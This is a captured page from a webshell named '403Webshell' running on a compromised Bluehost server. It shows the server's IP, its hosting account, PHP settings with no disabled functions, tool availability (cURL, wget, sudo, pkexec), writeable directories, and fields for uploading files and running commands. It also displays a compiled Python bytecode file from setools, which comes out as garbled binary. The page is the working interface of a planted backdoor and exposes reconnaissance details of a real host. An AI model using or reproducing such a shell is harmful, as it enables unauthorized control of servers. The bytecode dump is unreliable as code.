403Webshell
Server IP : 162.241.219.206  /  Your IP : 216.73.216.30
Web Server : Apache
System : Linux box5669.bluehost.com 5.14.0-687.15.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jun 11 08:51:45 EDT 2026 x86_64
User : signavd5 ( 2863)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/setools/checker/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/setools/checker/__pycache__/emptyattr.cpython-39.pyc
a

q�qe�
�@sXddlZddlmZddlmZmZddlmZddlm	Z	dZ
d	ZGd
d�de�ZdS)�N)�List�)�InvalidType�InvalidCheckValue�)�
CheckerModule)�config_bool_value�attr�
missing_okcsxeZdZdZdZeeef�Zdd��fdd�Z	e
dd��Zejd	d��Ze
d
d��Z
e
jdd��Z
ed�d
d�Z�ZS)�
EmptyTypeAttrz7Checker module for asserting a type attribute is empty.Zempty_typeattrN)�returncsJt��|||�t�t�|_d|_d|_d|_|�	t
�|_|�	t�|_
dS)NF)�super�__init__�loggingZ	getLogger�__name__�log�_attr�_missing_ok�_pass_by_missing�get�MISSINOK_OPTr
�ATTR_OPTr	)�self�policy�	checknameZconfig��	__class__��?/usr/lib64/python3.9/site-packages/setools/checker/emptyattr.pyrszEmptyTypeAttr.__init__cCs|jS�N)r�rrrrr	'szEmptyTypeAttr.attrc
Cs~z.|std�|jt���|j�|�|_d|_WnJtyx}z2|j	sXtd�|j|��|�||_d|_WYd}~n
d}~00dS)Nz{}: "{}" setting is missing.Fz{}: attr setting error: {}T)
r�formatrrrZlookup_typeattrrrrr
)r�value�errrr	+s 
�
��cCs|jSr)rr rrrr
=szEmptyTypeAttr.missing_okcCs.t|�|_|jr$t|jt�r$d|_nd|_dS)NTF)rr�
isinstancer	�strr)rr"rrrr
As
cCs�|j�d�|j��g}|jr2|�d�|j��nR|j�d�|j��t|j�	��}|rz|D]}|�
|j�|�|�q\n
|�
d�|j�d�|��|S)Nz$Checking type attribute {} is empty.z    {} does not exist.zMember types of {}:
z    <empty>z
{} failure(s))r�infor!r	rZlog_info�output�write�sorted�expandZlog_fail�name�appendZlog_ok�debug)rZfailures�types�type_rrr�runKs
zEmptyTypeAttr.run)r�
__module__�__qualname__�__doc__Z
check_type�	frozensetrrZcheck_configr�propertyr	�setterr
rr0�
__classcell__rrrrrs



	r)
r�typingr�	exceptionrrZ
checkermoduler�utilrrrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit